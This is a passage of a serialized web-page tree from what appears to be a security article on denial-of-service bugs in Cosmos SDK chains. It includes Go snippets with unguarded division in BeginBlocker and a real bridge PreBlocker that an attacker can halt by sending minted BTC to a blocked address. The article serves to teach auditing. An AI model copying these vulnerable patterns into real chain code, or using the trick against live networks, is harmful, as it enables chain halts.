nil\n}\n",[83407],{"type":21,"tag":78,"props":83408,"children":83409},{"__ignoreMap":7},[83410,83443,83466,83494,83530,83537,83606,83644,83651,83683],{"type":21,"tag":153,"props":83411,"children":83412},{"class":155,"line":156},[83413,83417,83421,83426,83430,83434,83439],{"type":21,"tag":153,"props":83414,"children":83415},{"style":170},[83416],{"type":26,"value":78597},{"type":21,"tag":153,"props":83418,"children":83419},{"style":160},[83420],{"type":26,"value":5820},{"type":21,"tag":153,"props":83422,"children":83423},{"style":192},[83424],{"type":26,"value":83425},"k ",{"type":21,"tag":153,"props":83427,"children":83428},{"style":214},[83429],{"type":26,"value":78611},{"type":21,"tag":153,"props":83431,"children":83432},{"style":160},[83433],{"type":26,"value":2362},{"type":21,"tag":153,"props":83435,"children":83436},{"style":181},[83437],{"type":26,"value":83438},"AllocateReward",{"type":21,"tag":153,"props":83440,"children":83441},{"style":160},[83442],{"type":26,"value":773},{"type":21,"tag":153,"props":83444,"children":83445},{"class":155,"line":166},[83446,83450,83454,83458,83462],{"type":21,"tag":153,"props":83447,"children":83448},{"style":192},[83449],{"type":26,"value":78632},{"type":21,"tag":153,"props":83451,"children":83452},{"style":214},[83453],{"type":26,"value":78637},{"type":21,"tag":153,"props":83455,"children":83456},{"style":160},[83457],{"type":26,"value":355},{"type":21,"tag":153,"props":83459,"children":83460},{"style":214},[83461],{"type":26,"value":78646},{"type":21,"tag":153,"props":83463,"children":83464},{"style":160},[83465],{"type":26,"value":792},{"type":21,"tag":153,"props":83467,"children":83468},{"class":155,"line":225},[83469,83473,83477,83481,83485,83490],{"type":21,"tag":153,"props":83470,"children":83471},{"style":192},[83472],{"type":26,"value":78658},{"type":21,"tag":153,"props":83474,"children":83475},{"style":198},[83476],{"type":26,"value":5080},{"type":21,"tag":153,"props":83478,"children":83479},{"style":214},[83480],{"type":26,"value":8489},{"type":21,"tag":153,"props":83482,"children":83483},{"style":160},[83484],{"type":26,"value":355},{"type":21,"tag":153,"props":83486,"children":83487},{"style":214},[83488],{"type":26,"value":83489},"MsgAllocateReward",{"type":21,"tag":153,"props":83491,"children":83492},{"style":160},[83493],{"type":26,"value":5909},{"type":21,"tag":153,"props":83495,"children":83496},{"class":155,"line":239},[83497,83501,83505,83509,83513,83518,83522,83526],{"type":21,"tag":153,"props":83498,"children":83499},{"style":160},[83500],{"type":26,"value":189},{"type":21,"tag":153,"props":83502,"children":83503},{"style":198},[83504],{"type":26,"value":313},{"type":21,"tag":153,"props":83506,"children":83507},{"style":214},[83508],{"type":26,"value":8489},{"type":21,"tag":153,"props":83510,"children":83511},{"style":160},[83512],{"type":26,"value":355},{"type":21,"tag":153,"props":83514,"children":83515},{"style":214},[83516],{"type":26,"value":83517},"MsgAllocatRewardResponse",{"type":21,"tag":153,"props":83519,"children":83520},{"style":160},[83521],{"type":26,"value":1670},{"type":21,"tag":153,"props":83523,"children":83524},{"style":214},[83525],{"type":26,"value":17566},{"type":21,"tag":153,"props":83527,"children":83528},{"style":160},[83529],{"type":26,"value":2659},{"type":21,"tag":153,"props":83531,"children":83532},{"class":155,"line":382},[83533],{"type":21,"tag":153,"props":83534,"children":83535},{"emptyLinePlaceholder":16},[83536],{"type":26,"value":759},{"type":21,"tag":153,"props":83538,"children":83539},{"class":155,"line":501},[83540,83545,83549,83554,83558,83563,83567,83572,83576,83580,83585,83589,83593,83597,83602],{"type":21,"tag":153,"props":83541,"children":83542},{"style":192},[83543],{"type":26,"value":83544},"    RewardPerShare",{"type":21,"tag":153,"props":83546,"children":83547},{"style":198},[83548],{"type":26,"value":78713},{"type":21,"tag":153,"props":83550,"children":83551},{"style":192},[83552],{"type":26,"value":83553}," k",{"type":21,"tag":153,"props":83555,"children":83556},{"style":160},[83557],{"type":26,"value":355},{"type":21,"tag":153,"props":83559,"children":83560},{"style":192},[83561],{"type":26,"value":83562},"keeper",{"type":21,"tag":153,"props":83564,"children":83565},{"style":160},[83566],{"type":26,"value":355},{"type":21,"tag":153,"props":83568,"children":83569},{"style":181},[83570],{"type":26,"value":83571},"Shares",{"type":21,"tag":153,"props":83573,"children":83574},{"style":160},[83575],{"type":26,"value":2461},{"type":21,"tag":153,"props":83577,"children":83578},{"style":198},[83579],{"type":26,"value":7310},{"type":21,"tag":153,"props":83581,"children":83582},{"style":192},[83583],{"type":26,"value":83584},"  k",{"type":21,"tag":153,"props":83586,"children":83587},{"style":160},[83588],{"type":26,"value":355},{"type":21,"tag":153,"props":83590,"children":83591},{"style":192},[83592],{"type":26,"value":83562},{"type":21,"tag":153,"props":83594,"children":83595},{"style":160},[83596],{"type":26,"value":355},{"type":21,"tag":153,"props":83598,"children":83599},{"style":181},[83600],{"type":26,"value":83601},"TotalReward",{"type":21,"tag":153,"props":83603,"children":83604},{"style":160},[83605],{"type":26,"value":10462},{"type":21,"tag":153,"props":83607,"children":83608},{"class":155,"line":533},[83609,83614,83618,83622,83626,83631,83635,83640],{"type":21,"tag":153,"props":83610,"children":83611},{"style":192},[83612],{"type":26,"value":83613},"    k",{"type":21,"tag":153,"props":83615,"children":83616},{"style":160},[83617],{"type":26,"value":355},{"type":21,"tag":153,"props":83619,"children":83620},{"style":192},[83621],{"type":26,"value":83562},{"type":21,"tag":153,"props":83623,"children":83624},{"style":160},[83625],{"type":26,"value":355},{"type":21,"tag":153,"props":83627,"children":83628},{"style":181},[83629],{"type":26,"value":83630},"DistributeReward",{"type":21,"tag":153,"props":83632,"children":83633},{"style":160},[83634],{"type":26,"value":189},{"type":21,"tag":153,"props":83636,"children":83637},{"style":192},[83638],{"type":26,"value":83639},"RewardPerShare",{"type":21,"tag":153,"props":83641,"children":83642},{"style":160},[83643],{"type":26,"value":5909},{"type":21,"tag":153,"props":83645,"children":83646},{"class":155,"line":542},[83647],{"type":21,"tag":153,"props":83648,"children":83649},{"emptyLinePlaceholder":16},[83650],{"type":26,"value":759},{"type":21,"tag":153,"props":83652,"children":83653},{"class":155,"line":762},[83654,83658,83662,83666,83670,83675,83679],{"type":21,"tag":153,"props":83655,"children":83656},{"style":1751},[83657],{"type":26,"value":19687},{"type":21,"tag":153,"props":83659,"children":83660},{"style":198},[83661],{"type":26,"value":206},{"type":21,"tag":153,"props":83663,"children":83664},{"style":192},[83665],{"type":26,"value":8489},{"type":21,"tag":153,"props":83667,"children":83668},{"style":160},[83669],{"type":26,"value":355},{"type":21,"tag":153,"props":83671,"children":83672},{"style":192},[83673],{"type":26,"value":83674},"MsgAllocateRewardResponse",{"type":21,"tag":153,"props":83676,"children":83677},{"style":160},[83678],{"type":26,"value":1670},{"type":21,"tag":153,"props":83680,"children":83681},{"style":170},[83682],{"type":26,"value":78939},{"type":21,"tag":153,"props":83684,"children":83685},{"class":155,"line":776},[83686],{"type":21,"tag":153,"props":83687,"children":83688},{"style":160},[83689],{"type":26,"value":548},{"type":21,"tag":22,"props":83691,"children":83692},{},[83693,83695,83701,83702,83708,83709,83715,83717,83722],{"type":26,"value":83694},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":21,"tag":78,"props":83696,"children":83698},{"className":83697},[],[83699],{"type":26,"value":83700},"PreBlocker",{"type":26,"value":1670},{"type":21,"tag":78,"props":83703,"children":83705},{"className":83704},[],[83706],{"type":26,"value":83707},"BeginBlocker",{"type":26,"value":9217},{"type":21,"tag":78,"props":83710,"children":83712},{"className":83711},[],[83713],{"type":26,"value":83714},"EndBlocker",{"type":26,"value":83716},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":21,"tag":78,"props":83718,"children":83720},{"className":83719},[],[83721],{"type":26,"value":83707},{"type":26,"value":83723}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":21,"tag":143,"props":83725,"children":83727},{"code":83726,"language":78461,"meta":7,"className":78462,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[83728],{"type":21,"tag":78,"props":83729,"children":83730},{"__ignoreMap":7},[83731,83796,83803,83851,83879,83886,83898],{"type":21,"tag":153,"props":83732,"children":83733},{"class":155,"line":156},[83734,83738,83743,83747,83751,83755,83759,83763,83767,83771,83776,83780,83784,83788,83792],{"type":21,"tag":153,"props":83735,"children":83736},{"style":170},[83737],{"type":26,"value":78597},{"type":21,"tag":153,"props":83739,"children":83740},{"style":181},[83741],{"type":26,"value":83742}," BeginBlocker",{"type":21,"tag":153,"props":83744,"children":83745},{"style":160},[83746],{"type":26,"value":189},{"type":21,"tag":153,"props":83748,"children":83749},{"style":192},[83750],{"type":26,"value":1882},{"type":21,"tag":153,"props":83752,"children":83753},{"style":214},[83754],{"type":26,"value":78637},{"type":21,"tag":153,"props":83756,"children":83757},{"style":160},[83758],{"type":26,"value":355},{"type":21,"tag":153,"props":83760,"children":83761},{"style":214},[83762],{"type":26,"value":78646},{"type":21,"tag":153,"props":83764,"children":83765},{"style":160},[83766],{"type":26,"value":1670},{"type":21,"tag":153,"props":83768,"children":83769},{"style":192},[83770],{"type":26,"value":83562},{"type":21,"tag":153,"props":83772,"children":83773},{"style":214},[83774],{"type":26,"value":83775}," keeper",{"type":21,"tag":153,"props":83777,"children":83778},{"style":160},[83779],{"type":26,"value":355},{"type":21,"tag":153,"props":83781,"children":83782},{"style":214},[83783],{"type":26,"value":82242},{"type":21,"tag":153,"props":83785,"children":83786},{"style":160},[83787],{"type":26,"value":2362},{"type":21,"tag":153,"props":83789,"children":83790},{"style":214},[83791],{"type":26,"value":17566},{"type":21,"tag":153,"props":83793,"children":83794},{"style":160},[83795],{"type":26,"value":236},{"type":21,"tag":153,"props":83797,"children":83798},{"class":155,"line":166},[83799],{"type":21,"tag":153,"props":83800,"children":83801},{"emptyLinePlaceholder":16},[83802],{"type":26,"value":759},{"type":21,"tag":153,"props":83804,"children":83805},{"class":155,"line":225},[83806,83810,83814,83818,83822,83826,83830,83834,83839,83843,83847],{"type":21,"tag":153,"props":83807,"children":83808},{"style":192},[83809],{"type":26,"value":83544},{"type":21,"tag":153,"props":83811,"children":83812},{"style":198},[83813],{"type":26,"value":78713},{"type":21,"tag":153,"props":83815,"children":83816},{"style":192},[83817],{"type":26,"value":83775},{"type":21,"tag":153,"props":83819,"children":83820},{"style":160},[83821],{"type":26,"value":355},{"type":21,"tag":153,"props":83823,"children":83824},{"style":181},[83825],{"type":26,"value":83571},{"type":21,"tag":153,"props":83827,"children":83828},{"style":160},[83829],{"type":26,"value":2461},{"type":21,"tag":153,"props":83831,"children":83832},{"style":198},[83833],{"type":26,"value":7310},{"type":21,"tag":153,"props":83835,"children":83836},{"style":192},[83837],{"type":26,"value":83838},"  keeper",{"type":21,"tag":153,"props":83840,"children":83841},{"style":160},[83842],{"type":26,"value":355},{"type":21,"tag":153,"props":83844,"children":83845},{"style":181},[83846],{"type":26,"value":83601},{"type":21,"tag":153,"props":83848,"children":83849},{"style":160},[83850],{"type":26,"value":10462},{"type":21,"tag":153,"props":83852,"children":83853},{"class":155,"line":239},[83854,83859,83863,83867,83871,83875],{"type":21,"tag":153,"props":83855,"children":83856},{"style":192},[83857],{"type":26,"value":83858},"    keeper",{"type":21,"tag":153,"props":83860,"children":83861},{"style":160},[83862],{"type":26,"value":355},{"type":21,"tag":153,"props":83864,"children":83865},{"style":181},[83866],{"type":26,"value":83630},{"type":21,"tag":153,"props":83868,"children":83869},{"style":160},[83870],{"type":26,"value":189},{"type":21,"tag":153,"props":83872,"children":83873},{"style":192},[83874],{"type":26,"value":83639},{"type":21,"tag":153,"props":83876,"children":83877},{"style":160},[83878],{"type":26,"value":5909},{"type":21,"tag":153,"props":83880,"children":83881},{"class":155,"line":382},[83882],{"type":21,"tag":153,"props":83883,"children":83884},{"emptyLinePlaceholder":16},[83885],{"type":26,"value":759},{"type":21,"tag":153,"props":83887,"children":83888},{"class":155,"line":501},[83889,83893],{"type":21,"tag":153,"props":83890,"children":83891},{"style":1751},[83892],{"type":26,"value":55157},{"type":21,"tag":153,"props":83894,"children":83895},{"style":170},[83896],{"type":26,"value":83897}," nil\n",{"type":21,"tag":153,"props":83899,"children":83900},{"class":155,"line":533},[83901],{"type":21,"tag":153,"props":83902,"children":83903},{"style":160},[83904],{"type":26,"value":548},{"type":21,"tag":114,"props":83906,"children":83908},{"id":83907},"real-world-examples-3",[83909],{"type":26,"value":78986},{"type":21,"tag":22,"props":83911,"children":83912},{},[83913],{"type":26,"value":83914},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":21,"tag":22,"props":83916,"children":83917},{},[83918,83920,83926,83928,83933,83935,83941,83943,83949,83951,83957],{"type":26,"value":83919},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":21,"tag":78,"props":83921,"children":83923},{"className":83922},[],[83924],{"type":26,"value":83925},"bankKeeper.SendCoinsFromModuleToAccount",{"type":26,"value":83927}," will be bubbled up through ",{"type":21,"tag":78,"props":83929,"children":83931},{"className":83930},[],[83932],{"type":26,"value":83700},{"type":26,"value":83934}," and halt the chain. It turns out an attacker can force ",{"type":21,"tag":78,"props":83936,"children":83938},{"className":83937},[],[83939],{"type":26,"value":83940},"SendCoinsFromModuleToAccount",{"type":26,"value":83942}," to return an error by setting ",{"type":21,"tag":78,"props":83944,"children":83946},{"className":83945},[],[83947],{"type":26,"value":83948},"recipient",{"type":26,"value":83950}," to some ",{"type":21,"tag":78,"props":83952,"children":83954},{"className":83953},[],[83955],{"type":26,"value":83956},"BlockedAddr",{"type":26,"value":83958},",rendering the code susceptible to DoS attacks.",{"type":21,"tag":22,"props":83960,"children":83961},{},[83962],{"type":21,"tag":29,"props":83963,"children":83966},{"href":83964,"rel":83965},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[33],[83967],{"type":26,"value":79036},{"type":21,"tag":143,"props":83969,"children":83971},{"code":83970,"language":78461,"meta":7,"className":78462,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    ...\n}\n",[83972],{"type":21,"tag":78,"props":83973,"children":83974},{"__ignoreMap":7},[83975,84028,84043,84066,84096,84132,84140,84196,84220,84270,84277,84284,84291,84298,84305,84336,84359,84384,84399,84406,84443,84497,84520,84561,84568,84575,84626,84687,84710,84733,84745,84766,84778,84786,84793,84808,84816,84823,84830,84837,84844,84851,84882,84905,84930,84955,84970,84977,85014,85025,85046,85057,85069,85076,85099,85139,85146,85153],{"type":21,"tag":153,"props":83976,"children":83977},{"class":155,"line":156},[83978,83982,83986,83991,83995,84000,84004,84008,84012,84016,84020,84024],{"type":21,"tag":153,"props":83979,"children":83980},{"style":170},[83981],{"type":26,"value":78597},{"type":21,"tag":153,"props":83983,"children":83984},{"style":160},[83985],{"type":26,"value":5820},{"type":21,"tag":153,"props":83987,"children":83988},{"style":192},[83989],{"type":26,"value":83990},"pbh ",{"type":21,"tag":153,"props":83992,"children":83993},{"style":198},[83994],{"type":26,"value":313},{"type":21,"tag":153,"props":83996,"children":83997},{"style":214},[83998],{"type":26,"value":83999},"PreBlockHandler",{"type":21,"tag":153,"props":84001,"children":84002},{"style":160},[84003],{"type":26,"value":2362},{"type":21,"tag":153,"props":84005,"children":84006},{"style":181},[84007],{"type":26,"value":83700},{"type":21,"tag":153,"props":84009,"children":84010},{"style":160},[84011],{"type":26,"value":2461},{"type":21,"tag":153,"props":84013,"children":84014},{"style":214},[84015],{"type":26,"value":81027},{"type":21,"tag":153,"props":84017,"children":84018},{"style":160},[84019],{"type":26,"value":355},{"type":21,"tag":153,"props":84021,"children":84022},{"style":214},[84023],{"type":26,"value":83700},{"type":21,"tag":153,"props":84025,"children":84026},{"style":160},[84027],{"type":26,"value":236},{"type":21,"tag":153,"props":84029,"children":84030},{"class":155,"line":166},[84031,84035,84039],{"type":21,"tag":153,"props":84032,"children":84033},{"style":1751},[84034],{"type":26,"value":19687},{"type":21,"tag":153,"props":84036,"children":84037},{"style":170},[84038],{"type":26,"value":82306},{"type":21,"tag":153,"props":84040,"children":84041},{"style":160},[84042],{"type":26,"value":773},{"type":21,"tag":153,"props":84044,"children":84045},{"class":155,"line":225},[84046,84050,84054,84058,84062],{"type":21,"tag":153,"props":84047,"children":84048},{"style":192},[84049],{"type":26,"value":28882},{"type":21,"tag":153,"props":84051,"children":84052},{"style":214},[84053],{"type":26,"value":80938},{"type":21,"tag":153,"props":84055,"children":84056},{"style":160},[84057],{"type":26,"value":355},{"type":21,"tag":153,"props":84059,"children":84060},{"style":214},[84061],{"type":26,"value":78646},{"type":21,"tag":153,"props":84063,"children":84064},{"style":160},[84065],{"type":26,"value":792},{"type":21,"tag":153,"props":84067,"children":84068},{"class":155,"line":239},[84069,84074,84078,84083,84087,84092],{"type":21,"tag":153,"props":84070,"children":84071},{"style":192},[84072],{"type":26,"value":84073},"        req",{"type":21,"tag":153,"props":84075,"children":84076},{"style":198},[84077],{"type":26,"value":5080},{"type":21,"tag":153,"props":84079,"children":84080},{"style":214},[84081],{"type":26,"value":84082},"cmtabci",{"type":21,"tag":153,"props":84084,"children":84085},{"style":160},[84086],{"type":26,"value":355},{"type":21,"tag":153,"props":84088,"children":84089},{"style":214},[84090],{"type":26,"value":84091},"RequestFinalizeBlock",{"type":21,"tag":153,"props":84093,"children":84094},{"style":160},[84095],{"type":26,"value":792},{"type":21,"tag":153,"props":84097,"children":84098},{"class":155,"line":382},[84099,84103,84107,84111,84115,84120,84124,84128],{"type":21,"tag":153,"props":84100,"children":84101},{"style":160},[84102],{"type":26,"value":82374},{"type":21,"tag":153,"props":84104,"children":84105},{"style":198},[84106],{"type":26,"value":313},{"type":21,"tag":153,"props":84108,"children":84109},{"style":214},[84110],{"type":26,"value":81027},{"type":21,"tag":153,"props":84112,"children":84113},{"style":160},[84114],{"type":26,"value":355},{"type":21,"tag":153,"props":84116,"children":84117},{"style":214},[84118],{"type":26,"value":84119},"ResponsePreBlock",{"type":21,"tag":153,"props":84121,"children":84122},{"style":160},[84123],{"type":26,"value":1670},{"type":21,"tag":153,"props":84125,"children":84126},{"style":214},[84127],{"type":26,"value":17566},{"type":21,"tag":153,"props":84129,"children":84130},{"style":160},[84131],{"type":26,"value":2659},{"type":21,"tag":153,"props":84133,"children":84134},{"class":155,"line":501},[84135],{"type":21,"tag":153,"props":84136,"children":84137},{"style":198},[84138],{"type":26,"value":84139},"        ...\n",{"type":21,"tag":153,"props":84141,"children":84142},{"class":155,"line":533},[84143,84148,84152,84157,84161,84166,84170,84175,84179,84183,84187,84192],{"type":21,"tag":153,"props":84144,"children":84145},{"style":192},[84146],{"type":26,"value":84147},"        err",{"type":21,"tag":153,"props":84149,"children":84150},{"style":198},[84151],{"type":26,"value":78713},{"type":21,"tag":153,"props":84153,"children":84154},{"style":192},[84155],{"type":26,"value":84156}," pbh",{"type":21,"tag":153,"props":84158,"children":84159},{"style":160},[84160],{"type":26,"value":355},{"type":21,"tag":153,"props":84162,"children":84163},{"style":192},[84164],{"type":26,"value":84165},"bridgeKeeper",{"type":21,"tag":153,"props":84167,"children":84168},{"style":160},[84169],{"type":26,"value":355},{"type":21,"tag":153,"props":84171,"children":84172},{"style":181},[84173],{"type":26,"value":84174},"AcceptAssetsLocked",{"type":21,"tag":153,"props":84176,"children":84177},{"style":160},[84178],{"type":26,"value":189},{"type":21,"tag":153,"props":84180,"children":84181},{"style":192},[84182],{"type":26,"value":1882},{"type":21,"tag":153,"props":84184,"children":84185},{"style":160},[84186],{"type":26,"value":1670},{"type":21,"tag":153,"props":84188,"children":84189},{"style":192},[84190],{"type":26,"value":84191},"events",{"type":21,"tag":153,"props":84193,"children":84194},{"style":160},[84195],{"type":26,"value":5909},{"type":21,"tag":153,"props":84197,"children":84198},{"class":155,"line":542},[84199,84203,84207,84211,84216],{"type":21,"tag":153,"props":84200,"children":84201},{"style":1751},[84202],{"type":26,"value":2607},{"type":21,"tag":153,"props":84204,"children":84205},{"style":192},[84206],{"type":26,"value":50811},{"type":21,"tag":153,"props":84208,"children":84209},{"style":198},[84210],{"type":26,"value":66680},{"type":21,"tag":153,"props":84212,"children":84213},{"style":170},[84214],{"type":26,"value":84215}," nil",{"type":21,"tag":153,"props":84217,"children":84218},{"style":160},[84219],{"type":26,"value":236},{"type":21,"tag":153,"props":84221,"children":84222},{"class":155,"line":762},[84223,84227,84231,84235,84240,84244,84249,84253,84258,84262,84266],{"type":21,"tag":153,"props":84224,"children":84225},{"style":1751},[84226],{"type":26,"value":81373},{"type":21,"tag":153,"props":84228,"children":84229},{"style":170},[84230],{"type":26,"value":84215},{"type":21,"tag":153,"props":84232,"children":84233},{"style":160},[84234],{"type":26,"value":1670},{"type":21,"tag":153,"props":84236,"children":84237},{"style":192},[84238],{"type":26,"value":84239},"fmt",{"type":21,"tag":153,"props":84241,"children":84242},{"style":160},[84243],{"type":26,"value":355},{"type":21,"tag":153,"props":84245,"children":84246},{"style":181},[84247],{"type":26,"value":84248},"Errorf",{"type":21,"tag":153,"props":84250,"children":84251},{"style":160},[84252],{"type":26,"value":189},{"type":21,"tag":153,"props":84254,"children":84255},{"style":671},[84256],{"type":26,"value":84257},"\"cannot accept AssetsLocked events: %w\"",{"type":21,"tag":153,"props":84259,"children":84260},{"style":160},[84261],{"type":26,"value":1670},{"type":21,"tag":153,"props":84263,"children":84264},{"style":192},[84265],{"type":26,"value":50710},{"type":21,"tag":153,"props":84267,"children":84268},{"style":160},[84269],{"type":26,"value":5909},{"type":21,"tag":153,"props":84271,"children":84272},{"class":155,"line":776},[84273],{"type":21,"tag":153,"props":84274,"children":84275},{"style":160},[84276],{"type":26,"value":2765},{"type":21,"tag":153,"props":84278,"children":84279},{"class":155,"line":795},[84280],{"type":21,"tag":153,"props":84281,"children":84282},{"style":198},[84283],{"type":26,"value":84139},{"type":21,"tag":153,"props":84285,"children":84286},{"class":155,"line":808},[84287],{"type":21,"tag":153,"props":84288,"children":84289},{"style":160},[84290],{"type":26,"value":539},{"type":21,"tag":153,"props":84292,"children":84293},{"class":155,"line":820},[84294],{"type":21,"tag":153,"props":84295,"children":84296},{"style":160},[84297],{"type":26,"value":548},{"type":21,"tag":153,"props":84299,"children":84300},{"class":155,"line":842},[84301],{"type":21,"tag":153,"props":84302,"children":84303},{"emptyLinePlaceholder":16},[84304],{"type":26,"value":759},{"type":21,"tag":153,"props":84306,"children":84307},{"class":155,"line":3204},[84308,84312,84316,84320,84324,84328,84332],{"type":21,"tag":153,"props":84309,"children":84310},{"style":170},[84311],{"type":26,"value":78597},{"type":21,"tag":153,"props":84313,"children":84314},{"style":160},[84315],{"type":26,"value":5820},{"type":21,"tag":153,"props":84317,"children":84318},{"style":192},[84319],{"type":26,"value":83425},{"type":21,"tag":153,"props":84321,"children":84322},{"style":214},[84323],{"type":26,"value":82242},{"type":21,"tag":153,"props":84325,"children":84326},{"style":160},[84327],{"type":26,"value":2362},{"type":21,"tag":153,"props":84329,"children":84330},{"style":181},[84331],{"type":26,"value":84174},{"type":21,"tag":153,"props":84333,"children":84334},{"style":160},[84335],{"type":26,"value":773},{"type":21,"tag":153,"props":84337,"children":84338},{"class":155,"line":3230},[84339,84343,84347,84351,84355],{"type":21,"tag":153,"props":84340,"children":84341},{"style":192},[84342],{"type":26,"value":22920},{"type":21,"tag":153,"props":84344,"children":84345},{"style":214},[84346],{"type":26,"value":80938},{"type":21,"tag":153,"props":84348,"children":84349},{"style":160},[84350],{"type":26,"value":355},{"type":21,"tag":153,"props":84352,"children":84353},{"style":214},[84354],{"type":26,"value":78646},{"type":21,"tag":153,"props":84356,"children":84357},{"style":160},[84358],{"type":26,"value":792},{"type":21,"tag":153,"props":84360,"children":84361},{"class":155,"line":3239},[84362,84367,84371,84375,84380],{"type":21,"tag":153,"props":84363,"children":84364},{"style":192},[84365],{"type":26,"value":84366},"    events",{"type":21,"tag":153,"props":84368,"children":84369},{"style":214},[84370],{"type":26,"value":80472},{"type":21,"tag":153,"props":84372,"children":84373},{"style":160},[84374],{"type":26,"value":355},{"type":21,"tag":153,"props":84376,"children":84377},{"style":214},[84378],{"type":26,"value":84379},"AssetsLockedEvents",{"type":21,"tag":153,"props":84381,"children":84382},{"style":160},[84383],{"type":26,"value":792},{"type":21,"tag":153,"props":84385,"children":84386},{"class":155,"line":3253},[84387,84391,84395],{"type":21,"tag":153,"props":84388,"children":84389},{"style":160},[84390],{"type":26,"value":2362},{"type":21,"tag":153,"props":84392,"children":84393},{"style":214},[84394],{"type":26,"value":17566},{"type":21,"tag":153,"props":84396,"children":84397},{"style":160},[84398],{"type":26,"value":236},{"type":21,"tag":153,"props":84400,"children":84401},{"class":155,"line":3301},[84402],{"type":21,"tag":153,"props":84403,"children":84404},{"style":198},[84405],{"type":26,"value":23033},{"type":21,"tag":153,"props":84407,"children":84408},{"class":155,"line":3346},[84409,84413,84417,84421,84426,84430,84434,84439],{"type":21,"tag":153,"props":84410,"children":84411},{"style":1751},[84412],{"type":26,"value":5784},{"type":21,"tag":153,"props":84414,"children":84415},{"style":192},[84416],{"type":26,"value":5789},{"type":21,"tag":153,"props":84418,"children":84419},{"style":160},[84420],{"type":26,"value":1670},{"type":21,"tag":153,"props":84422,"children":84423},{"style":192},[84424],{"type":26,"value":84425},"event",{"type":21,"tag":153,"props":84427,"children":84428},{"style":198},[84429],{"type":26,"value":78713},{"type":21,"tag":153,"props":84431,"children":84432},{"style":1751},[84433],{"type":26,"value":79696},{"type":21,"tag":153,"props":84435,"children":84436},{"style":192},[84437],{"type":26,"value":84438}," events",{"type":21,"tag":153,"props":84440,"children":84441},{"style":160},[84442],{"type":26,"value":236},{"type":21,"tag":153,"props":84444,"children":84445},{"class":155,"line":3355},[84446,84451,84455,84459,84463,84467,84471,84476,84480,84484,84488,84493],{"type":21,"tag":153,"props":84447,"children":84448},{"style":192},[84449],{"type":26,"value":84450},"        recipient",{"type":21,"tag":153,"props":84452,"children":84453},{"style":160},[84454],{"type":26,"value":1670},{"type":21,"tag":153,"props":84456,"children":84457},{"style":192},[84458],{"type":26,"value":50710},{"type":21,"tag":153,"props":84460,"children":84461},{"style":198},[84462],{"type":26,"value":78713},{"type":21,"tag":153,"props":84464,"children":84465},{"style":192},[84466],{"type":26,"value":80938},{"type":21,"tag":153,"props":84468,"children":84469},{"style":160},[84470],{"type":26,"value":355},{"type":21,"tag":153,"props":84472,"children":84473},{"style":181},[84474],{"type":26,"value":84475},"AccAddressFromBech32",{"type":21,"tag":153,"props":84477,"children":84478},{"style":160},[84479],{"type":26,"value":189},{"type":21,"tag":153,"props":84481,"children":84482},{"style":192},[84483],{"type":26,"value":84425},{"type":21,"tag":153,"props":84485,"children":84486},{"style":160},[84487],{"type":26,"value":355},{"type":21,"tag":153,"props":84489,"children":84490},{"style":192},[84491],{"type":26,"value":84492},"Recipient",{"type":21,"tag":153,"props":84494,"children":84495},{"style":160},[84496],{"type":26,"value":5909},{"type":21,"tag":153,"props":84498,"children":84499},{"class":155,"line":3364},[84500,84504,84508,84512,84516],{"type":21,"tag":153,"props":84501,"children":84502},{"style":1751},[84503],{"type":26,"value":2607},{"type":21,"tag":153,"props":84505,"children":84506},{"style":192},[84507],{"type":26,"value":50811},{"type":21,"tag":153,"props":84509,"children":84510},{"style":198},[84511],{"type":26,"value":66680},{"type":21,"tag":153,"props":84513,"children":84514},{"style":170},[84515],{"type":26,"value":84215},{"type":21,"tag":153,"props":84517,"children":84518},{"style":160},[84519],{"type":26,"value":236},{"type":21,"tag":153,"props":84521,"children":84522},{"class":155,"line":3376},[84523,84527,84532,84536,84540,84544,84549,84553,84557],{"type":21,"tag":153,"props":84524,"children":84525},{"style":1751},[84526],{"type":26,"value":81373},{"type":21,"tag":153,"props":84528,"children":84529},{"style":192},[84530],{"type":26,"value":84531}," fmt",{"type":21,"tag":153,"props":84533,"children":84534},{"style":160},[84535],{"type":26,"value":355},{"type":21,"tag":153,"props":84537,"children":84538},{"style":181},[84539],{"type":26,"value":84248},{"type":21,"tag":153,"props":84541,"children":84542},{"style":160},[84543],{"type":26,"value":189},{"type":21,"tag":153,"props":84545,"children":84546},{"style":671},[84547],{"type":26,"value":84548},"\"failed to parse recipient address: 